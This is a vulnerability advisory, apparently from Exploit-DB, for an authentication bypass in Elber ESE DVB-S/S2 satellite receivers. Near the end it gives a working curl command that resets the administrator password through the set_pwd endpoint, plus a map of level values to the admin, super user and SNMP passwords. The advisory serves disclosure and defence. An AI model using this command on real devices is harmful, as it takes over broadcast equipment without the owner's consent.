Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

vendor:

ESE DVB-S/S2 Satellite Receiver

by:

Gjoko 'LiquidWorm' Krstic

6.1

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: ESE DVB-S/S2 Satellite Receiver

Affected Version From: 1.5.179 Revision 904

Affected Version To: 1.229 Revision 440

Patch Exists: NO

Related CWE:

CPE: h:elber:ese_dvb-s_s2_satellite_receiver:1.5.179

Metasploit:

Other Scripts:

Platforms Tested: NBFM Controller, embOS/IP

2023

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

The Elber ESE DVB-S/S2 Satellite Receiver 1.5.x devices are prone to an authentication bypass vulnerability due to unauthorized access to the password management function. By manipulating the set_pwd endpoint, attackers can change the password of any user, granting them unauthorized administrative access to critical parts of the application and compromising system security.

Mitigation:

To mitigate this vulnerability, it is recommended to restrict network access to the affected devices, implement strong password policies, and regularly update the firmware provided by Elber S.r.l.

Source

Exploit-DB raw data:

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
                  1.5.56 Revision 884
                  1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
53: 	function(data){
54: 		//$.alert({title:'Operation',text:data});
55: 		show_message(data);
56: 	}).fail(function(error){
57: 		show_message('Error ' + error.status, 'error');
58: 	});
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5820
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)